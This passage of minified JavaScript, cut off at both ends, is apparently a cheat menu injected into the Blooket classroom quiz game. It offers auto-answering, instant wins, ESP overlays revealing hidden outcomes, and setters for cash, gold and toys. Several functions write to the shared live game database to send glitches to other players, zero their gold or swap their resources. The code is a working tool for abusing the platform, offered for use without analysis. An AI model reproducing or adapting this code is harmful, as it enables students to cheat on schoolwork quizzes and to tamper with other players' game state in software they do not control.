Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].map(e=>({name:e.name,value:JSON.stringify(e)}))}],run:function(e){var t=T();10<=t.state.blooks.length&&x("Choose a blook to replace"),t.waiting=!1,t.chooseBlook(JSON.parse(e))}},{name:"Free Upgrades",description:"Sets upgrade prices to 0 for all current blooks",run:function(){const t=[0,0,0,0];var e=T();e.setState({blooks:e.state.blooks.map(e=>(e.price=t,e))})}},{name:"Max Blooks",description:"Maxes out all your blooks' levels",run:function(){T().state.blooks.forEach(e=>e.level=4)}},{name:"Remove Glitches",description:"Removes all enemy glitches",run:function(){var e=T();e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)}},{name:"Send Glitch",description:"Sends a glitch to everyone else playing",inputs:[{name:"Glitch",type:"options",options:Object.entries({lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=T();t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set All MegaBot",description:"Sets all your blooks to maxed out Mega Bots",run:function(){T().setState({blooks:Array.from({length:10},()=>({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5}))})}},{name:"Set Cash",description:"Sets amount of cash you have",inputs:[{name:"Cash",type:"number"}],run:function(e){T().setState({cash:e})}}],fishing:[{name:"Remove Distractions",description:"Removes distractions",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{T().setState({party:""})},50))}},{name:"Frenzy",description:"Sets everyone to frenzy mode",run:function(){var e=T();e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})}},{name:"Send Distraction",description:"Sends a distraction to everyone",inputs:[{name:"Distraction",type:"options",options:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"]}],run:function(e){var t=T();t.safe=!0,t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:t.state.weight,f:e,s:!0}})}},{name:"Set Lure",description:"Sets fishing lure (range 1 - 5)",inputs:[{name:"Lure (1 - 5)",type:"number",min:1,max:5}],run:function(e){T().setState({lure:Math.max(Math.min(e-1,4),0)})}},{name:"Set Weight",description:"Sets weight",inputs:[{name:"Weight",type:"number"}],run:function(e){var t=T();t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})}}],flappy:[{name:"Toggle Ghost",description:"Lets you go through the pipes",type:"toggle",enabled:!1,run:function(){this.enabled=!this.enabled;for(const e of Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[0].current.config.sceneConfig.physics.world.bodies.entries)if(e.gameObject.frame.texture.key.startsWith("blook")){e.checkCollision.none=this.enabled,e.gameObject.setAlpha(this.enabled?.5:1);break}}},{name:"Set Score",description:"Sets flappy blook score",inputs:[{name:"Score",type:"number"}],run:function(e){Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[1](e||0)}}],gold:[{name:"Always Triple",description:"Always get triple gold",type:"toggle",enabled:!1,data:{type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},run:function(){let t=T();t._choosePrize||=t.choosePrize,this.enabled?(this.enabled=!1,t._choosePrize&&(t.choosePrize=t._choosePrize)):(this.enabled=!0,t.choosePrize=function(e){t.state.choices[e]=this.data,t._choosePrize(e)})}},{name:"Auto Choose",description:"Automatically picks the option that would give you the most gold",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(async()=>{let s=T();"prize"==s.state.stage&&s.props.liveGameController.getDatabaseVal("c",t=>{try{if(null!=t){t=Object.entries(t);let o=0,a=0,n=-1;for(let e=0;e<t.length;e++)t[e][0]!=s.props.client.name&&t[e][1]>o&&(o=t[e][1]);for(let t=0;t<s.state.choices.length;t++){var r=s.state.choices[t];let e=s.state.gold;"gold"==r.type?e=s.state.gold+r.val||s.state.gold:"multiply"==r.type||"divide"==r.type?e=Math.round(s.state.gold*r.val)||s.state.gold:"swap"==r.type?e=o||s.state.gold:"take"==r.type&&(e=s.state.gold+o*r.val||s.state.gold),(e||0)<=a||(a=e,n=t+1)}document.querySelector("div[class*='choice"+n+"']")?.click()}}catch{}})},50))}},{name:"Chest ESP",description:"Shows what each chest will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{T().state.choices.forEach(({text:e},t)=>{var o,t=document.querySelector(`div[class*='choice${t+1}']`);t&&!t.querySelector("div")&&((o=document.createElement("div")).style.color="white",o.style.fontFamily="Eczar",o.style.fontSize="2em",o.style.display="flex",o.style.justifyContent="center",o.style.transform="translateY(200px)",o.innerText=e,t.append(o))})},50))}},{name:"Reset Players Gold",description:"Sets a player's gold to 0",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:function(e){var t=T();t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/tat",val:e+":swap:0"})}},{name:"Set Gold",description:"Sets amount of gold",inputs:[{name:"Gold",type:"number"}],run:function(e){var t=T();t.setState({gold:e,gold2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/g",val:e})}},{name:"Swap Gold",description:"Swaps gold with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:function(t){let o=T();o.props.liveGameController.getDatabaseVal("c",e=>{e&&null!=e[t]&&(e=e[t].g||0,o.props.liveGameController.setVal({path:"c/"+o.props.client.name,val:{b:o.props.client.blook,tat:t+":swap:"+(o.state.gold||0),g:e}}),o.setState({gold:e,gold2:e}))})}}],kingdom:[{name:"Choice ESP",description:"Shows you what will happen if you say Yes or No",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"),e=>e.remove()),this.data=null):(this.enabled=!0,this.data=setInterval(a=>{let o=T(),n=Array.prototype.reduce.call(document.querySelectorAll("[class*=statContainer]"),(e,t,o)=>(e[a[o]]=t,e),{});"choice"==o.state.phase&&(Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"),e=>e.remove()),Object.keys(o.state.guest.yes||{}).forEach(e=>{var t;null!=n[e]&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",t.innerText=String(o.state.guest.yes[e]),n[e].appendChild(t))}),Object.keys(o.state.guest.no||{}).forEach(e=>{var t;null!=n[e]&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(o.state.guest.no[e]),n[e].appendChild(t))}),Array.prototype.forEach.call(document.querySelectorAll("[class*=guestButton][role=button]"),e=>e.onclick=()=>Array.prototype.forEach.call(document.querySelectorAll(".choiceESP"),e=>e.remove())))},50,["materials","people","happiness","gold"]))}},{name:"Disable Tax Toucan",description:"Tax evasion",run:function(){T().taxCounter=Number.MAX_VALUE}},{name:"Max Stats",description:"Sets all resources to the max",run:function(){T().setState({materials:100,people:100,happiness:100,gold:100})}},{name:"Set Guests",description:"Sets the amount of guests you've seen",inputs:[{name:"Guests",type:"number"}],run:function(e){T().setState({guestScore:e})}},{name:"Skip Guest",description:"Skips the current guest",run:function(){T().nextGuest()}}],racing:[{name:"Instant Win",description:"Instantly Wins the race",run:function(){var e=T();e.setState({progress:e.state.goalAmount}),e.props.liveGameController.setVal({path:"c/"+e.props.client.name+"/pr",val:e.state.goalAmount})}},{name:"Set Questions",description:"Sets the number of questions left",inputs:[{name:"Questions",type:"number"}],run:function(e){var t=T();e=t.props.client.amount-e,t.setState({progress:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/pr",val:e})}}],royale:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=T();e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])},50))}},{name:"Auto Answer",description:"Chooses the correct answer for you",run:function(){var e=T();e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])}}],rush:[{name:"Set Blooks",description:"Sets amount of blooks you or your team has",inputs:[{name:"Blooks",type:"number"}],run:function(e){var t=T();t.setState({numBlooks:e}),t.props.liveGameController.setVal({path:(t.isTeam?"a/":"c/")+t.props.client.name+"/bs",val:e})}},{name:"Set Defense",description:"Sets amount of defense you or your team has (Max 4)",inputs:[{name:"Defense (max 4)",type:"number",max:4}],run:function(e){var e=Math.min(e,4),t=T();t.setState({numDefense:e}),t.props.liveGameController.setVal({path:(t.isTeam?"a/":"c/")+t.props.client.name+"/d",val:e})}}],workshop:[{name:"Remove Distractions",description:"Removes all enemy distractions",run:function(){T().setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})}},{name:"Send Distraction",description:"Sends a distraction to everyone else playing",inputs:[{name:"Distraction",type:"options",options:Object.entries({c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=T();t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set Toys",description:"Sets amount of toys",inputs:[{name:"Toys",type:"number"}],run:function(e){var t=T();t.setState({toys:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/t",val:e})}},{name:"Set Toys Per Question",description:"Sets amount of toys per question",inputs:[{name:"Toys Per Question",type:"number"}],run:function(e){T().setState({toysPerQ:e})}},{name:"Swap Toys",description:"Swaps toys with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=T();return e.props.liveGameController._liveApp?new Promise(t=>e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e)))):[]}}],run:function(t){let o=T();o.props.liveGameController.getDatabaseVal("c",e=>{e&&null!=e[t]&&(o.props.liveGameController.setVal({path:"c/"+o.props.client.name+"/tat",val:t+":swap:"+o.state.toys}),o.setState({toys:e[t].t}))})}}],settings:[{name:"Import Settings",description:"Import a custom theme",inputs:[{name:"JSON Data",type:"string"}],run:function(e){try{JSON.parse(e)}catch(e){return x("Invalid JSON provided")}e={backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)",...JSON.parse(e)},a.setItem("theme",e);for(const t in e)o.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Export Settings",description:"Export the current theme to JSON",run:async function(){await navigator.clipboard.writeText(JSON.stringify(a.data.theme,null,4)),M("Text copied to clipboard. (Paste below to test)")}},{name:"Defaults",description:"Changes all the settings to a preset",inputs:[{name:"Theme",type:"options",options:[{name:"Default",value:{backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)"}},{name:"Blacket",value:{backgroundColor:"#4f4f4f",infoColor:"#2f2f2f",cheatList:"#2f2f2f",defaultButton:"#4f4f4f",disabledButton:"#eb6234",enabledButton:"#00c20c",textColor:"white",inputColor:"#3f3f3f",contentBackground:"#2f2f2f"}},{name:"Skool.lol",value:{backgroundColor:"linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)",cheatList:"#1e2124",infoColor:"#1e2124",defaultButton:"#36393e",inputColor:"#1e2124",enabledButton:"#9c9a9a",textColor:"white",disabledButton:"#171717",contentBackground:"#292929"}},{name:"Blue - Purple Background",value:{backgroundColor:"linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)"}},{name:"Saint Patricks Background",value:{backgroundColor:"rgb(9, 148, 65)"}},{name:"Halloween Background",value:{backgroundColor:"rgb(41, 41, 41)"}},{name:"Fall Background",value:{backgroundColor:"rgb(224, 159, 62)"}},{name:"Winter Background",value:{backgroundColor:"linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))"}},{name:"Crypto Hack",value:{backgroundColor:"radial-gradient(#11581e,#041607)",infoColor:"#1a1a1a",cheatList:"#1a1a1a",defaultButton:"rgb(88 175 88)",disabledButton:"#A02626",enabledButton:"#0b601b",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#11581e"}},{name:"Fishing Frenzy",value:{backgroundColor:"linear-gradient(180deg,#9be2fe 0,#67d1fb)",infoColor:"#c8591e",cheatList:"#c8591e",defaultButton:"#ff751a",disabledButton:"#bf0e0e",enabledButton:"#2fb62f",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"radial-gradient(#02b0ea 40%, #1d86ea)"}},{name:"Deceptive Dinos",value:{backgroundColor:'radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url("https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png"), #ead49a',infoColor:"#af8942",cheatList:"#af8942",defaultButton:"#af8942",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"rgb(0 0 0 / 10%)",contentBackground:"radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px"}},{name:"Blook Rush",value:{backgroundColor:"repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)",defaultButton:"#36c",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#36c",cheatList:"#36c",contentBackground:"#888",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Factory",value:{defaultButton:"#1563bf",infoColor:"#a5aabe",cheatList:"#a5aabe",contentBackground:"#2d313d",backgroundColor:"#3a3a3a",enabledButton:"rgb(75, 194, 46)",disabledButton:"#9a49aa",inputColor:"rgb(0 0 0 / 25%)",textColor:"white"}},{name:"Cafe",value:{backgroundColor:"linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px",defaultButton:"#0bc2cf",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#ac7339",cheatList:"#ac7339",contentBackground:"rgb(64, 64, 64)",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Tower of Doom",value:{backgroundColor:"rgb(41 41 41)",disabledButton:"rgb(151, 15, 5)",defaultButton:"#333",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#404040",enabledButton:"#4bc22e",textColor:"white",infoColor:"#9a49aa",cheatList:"#9a49aa"}},{name:"Monster Brawl",value:{defaultButton:"rgb(45, 51, 67)",backgroundColor:"rgb(78, 95, 124)",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"linear-gradient(0deg,#374154,#4f5b74)",infoColor:"#374154",cheatList:"#374154",textColor:"white",enabledButton:"#47A547",disabledButton:"#A02626"}},{name:"Tower Defense 2",value:{backgroundColor:"url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover",cheatList:"#a33c22",infoColor:"#a33c22",defaultButton:"#40b1d8",inputColor:"#3e8cbe",contentBackground:"#293c82",enabledButton:"#47A547",disabledButton:"#A02626",textColor:"white"}}]}],run:function(e){a.setItem("theme",{...a.data.theme,...e});for(const t in e)o.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Scale",description:"Forces the GUI to scale from 25%-100%",inputs:[{type:"number",name:"Percent scale",min:25,max:100,value:100*(a.data.scale||1)}],run:function(e){e=Math.min(Math.max(e,25),100),a.setItem("scale",e/100),c.style.transform=`scale(${e/100})`}},{name:"Hide Keybind",description:"Change the hide keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:n=>D(({shift:e,ctrl:t,alt:o,key:a})=>n(""+[t&&"Ctrl",e&&"Shift",o&&"Alt",a&&a.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){a.setItem("hide",e),l.update(a.data.hide||{ctrl:!0,key:"e"},a.data.close||{ctrl:!0,key:"x"})}},{name:"Close Keybind",description:"Change the quick close keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:n=>D(({shift:e,ctrl:t,alt:o,key:a})=>n(""+[t&&"Ctrl",e&&"Shift",o&&"Alt",a&&a.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){a.setItem("close",e),l.update(a.data.hide||{ctrl:!0,key:"e"},a.data.close||{ctrl:!0,key:"x"})}},{name:"Background Color",description:"Changes the background color of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--backgroundColor",e),a.setItem("theme.backgroundColor",e)}},{name:"Category List Color",description:"Changes the categories list background color",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--cheatList",e),a.setItem("theme.cheatList",e)}},{name:"Info Color",description:"Changes the color of the information at the top of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--infoColor",e),a.setItem("theme.infoColor",e)}},{name:"Button Color",description:"Changes the color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--defaultButton",e),a.setItem("theme.defaultButton",e)}},{name:"Enabled Toggle Color",description:"Changes the color of enabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){a.setItem("theme.enabledButton",e)}},{name:"Disabled Toggle Color",description:"Changes the color of disabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--disabledButton",e),a.setItem("theme.disabledButton",e)}},{name:"Text Color",description:"Changes the text color",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--textColor",e),a.setItem("theme.textColor",e)}},{name:"Input Color",description:"Changes the color of inputs, like the set gold number input",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--inputColor",e),a.setItem("theme.inputColor",e)}},{name:"Content Color",description:"Changes the background color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){o.sheet.cssRules[0].style.setProperty("--contentBackground",e),a.setItem("theme.contentBackground",e)}}]};function L(e,t){var o,a,n=0,r=0;e.onpointerdown=function(e=window.event){n=e.clientX,r=e.clientY,document.onpointerup=function(){document.onpointerup=null,document.onpointermove=null},document.onpointermove=function(e=window.event){o=n-e.clientX,a=r-e.clientY,n=e.clientX,r=e.clientY;t.style.top=t.offsetTop-a+"px",t.style.left=t.offsetLeft-o+"px"}}}function A(){c.remove();for(const e in N)for(const t of N[e])t.enabled&&t.run();Object.keys(N).forEach(e=>N[e].forEach(e=>e.enabled&&(e.run(),b(...currentMode)))),window.removeEventListener("keydown",j)}function j(e){var t=a.data.hide||{ctrl:!0,key:"e"},o=a.data.close||{ctrl:!0,key:"x"};(t.ctrl&&e.ctrlKey||!t.ctrl&&!e.ctrlKey)&&(t.shift&&e.shiftKey||!t.shift&&!e.shiftKey)&&(t.alt&&e.altKey||!t.alt&&!e.altKey)&&e.key.toLowerCase()==t.key?(e.preventDefault(),c.style.display="block"===c.style.display?"none":"block"):(o.ctrl&&e.ctrlKey||!o.ctrl&&!e.ctrlKey)&&(o.shift&&e.shiftKey||!o.shift&&!e.shiftKey)&&(o.alt&&e.altKey||!o.alt&&!e.altKey)&&e.key.toLowerCase()==o.key&&(e.preventDefault(),A())}function D(c,d=window){return new Promise(t=>{const o={};let a,n,r,s;const i=e=>{e.preventDefault(),o[e.code]=!0,a||=e.shiftKey,n||=e.ctrlKey,r||=e.altKey,["shift","control","alt","meta"].includes(e.key.toLowerCase())||(s=e.key.toLowerCase()),c?.({shift:a,ctrl:n,alt:r,key:s})},l=e=>{delete o[e.code],0<Object.keys(o).length||(d.removeEventListener("keydown",i),d.removeEventListener("keyup",l),t({shift:a,ctrl:n,alt:r,key:s}))};d.addEventListener("keydown",i),d.addEventListener("keyup",l)})}f("Global","https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg",N.global)(),f('<span style="font-size: 18px">Pirate\'s Voyage</span>',"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+PCFET0NUWVBFIHN2ZyBQVUJMSUMgIi0vL1czQy8vRFREIFNWRyAxLjEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvR3JhcGhpY3MvU1ZHLzEuMS9EVEQvc3ZnMTEuZHRkIj48c3ZnIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCAzMDAgMzAwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbDpzcGFjZT0icHJlc2VydmUiIHhtbG5zOnNlcmlmPSJodHRwOi8vd3d3LnNlcmlmLmNvbS8iIHN0eWxlPSJmaWxsLXJ1bGU6ZXZlbm9kZDtjbGlwLXJ1bGU6ZXZlbm9kZDtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlLW1pdGVybGltaXQ6MjsiPjxnIGlkPSJCb2F0Ij48cGF0aCBkPSJNMTcwLjQsNTYuMDU0Yy02OC43ODgsMTAuMTc0IC0xMTUuOTcxLDU2LjkzOCAtMTQ1LjQxMSwxMzMuNzVsMTUuNDY5LDcuNzM0YzMwLjk2MiwtMjguMTc1IDc0LjcwNSwtMzcuNzg3IDEzMi4zMjIsLTI3LjI1bDAsLTE3LjYxMWMtMjUuNjI5LC0yNy45NTIgLTI2Ljk2NiwtNTYuNzcyIDAuNzE0LC04Ni42MjhsLTMuMDk0LC05Ljk5NVoiIHN0eWxlPSJmaWxsOiNmNmUwYmQ7Ii8+PHBhdGggZD0iTTE5OS42NzMsNjAuODEzYzMyLjc4NCw0Mi45ODIgNjUuODIyLDkwLjg4NyA5Ny4zMzcsMTM5LjU4MWwtNi42NjMsMGMtMTIuMDg1LC0zMS4xMTEgLTU3Ljg4MiwtMzkuNjk0IC05MS42MjYsLTI3LjI1YzIyLjUxNCwtMzQuNTc5IDE3Ljc5NiwtNzIuNjczIDAuOTUyLC0xMTIuMzMxWiIgc3R5bGU9ImZpbGw6I2Y2ZTBiZDsiLz48cGF0aCBkPSJNNjkuNDQ4LDE5Ny41MzhjMCwwIC01OS43MDcsLTE1LjI0MyAtNjguMzk4LC0xNy40NjJjLTAuMDc2LC0wLjAxOSAtMC4xNTQsMC4wMiAtMC4xODQsMC4wOTJjLTAuMDMsMC4wNzIgLTAuMDAyLDAuMTU1IDAuMDY1LDAuMTk1YzkuNjgyLDUuNzc1IDkxLjY0Nyw1NC42NTggOTEuNjQ3LDU0LjY1OGwtMjMuMTMsLTM3LjQ4M1oiIHN0eWxlPSJmaWxsOiM4ZDZlNDE7Ii8+PHBhdGggZD0iTTE2NC40NSw0Ny45MDNjMCwtNS4zNTMgNC4zNDYsLTkuNjk4IDkuNjk4LC05LjY5OGwxOS4zOTcsLTBjNS4zNTIsLTAgOS42OTgsNC4zNDUgOS42OTgsOS42OThsLTAsMTU2Ljk1M2MtMCw1LjM1MyAtNC4zNDYsOS42OTggLTkuNjk4LDkuNjk4bC0xOS4zOTcsMGMtNS4zNTIsMCAtOS42OTgsLTQuMzQ1IC05LjY5OCwtOS42OThsMCwtMTU2Ljk1M1oiIHN0eWxlPSJmaWxsOiM3ZjY4NDU7Ii8+PHBhdGggZD0iTTI2My45OTMsMjU2LjEwM2MyMi4xNzEsLTE0LjcxIDM2LjAwNywtMzUuNTE1IDM2LjAwNywtNTguNTY1bC0yMzAuNTUyLDBjMCwyMy43MTMgMTQuNjQzLDQ1LjA1IDM3Ljk0LDU5LjgxOWM5Ljg3NSwtMy43MjkgMjAuMDQxLC0xMS4zMzQgMzAuNDYzLC0yMi4zMzZjMzIuODExLDM1LjQ1NSA2NC4wNjksMzUuOTQzIDkzLjcwOCwwYzYuODM4LDkuNjc3IDE3LjczNiwxNi42NDYgMzIuNDM0LDIxLjA4MloiIHN0eWxlPSJmaWxsOiNiNjkyNWY7Ii8+PC9nPjwvc3ZnPg==",N.voyage),f("Gold Quest","https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg",N.gold),f("Cafe","https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg",N.cafe),f("Crypto Hack","https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg",N.crypto),f('<span style="font-size: 17px">Deceptive Dinos</span>',['<img style="height: 30px; margin-left: 8px; margin-right: 12px" src="https://media.blooket.com/image/upload/v1655161325/Media/survivor/Dog.svg">'],N.dinos),f('<span style="font-size: 18px">Tower Defense</span>',['<img style="width: 30px; margin-right: 5px" src="https://media.blooket.com/image/upload/v1657235025/Media/survivor/Laser_Lvl1.svg">'],N.defense),f('<span style="font-size: 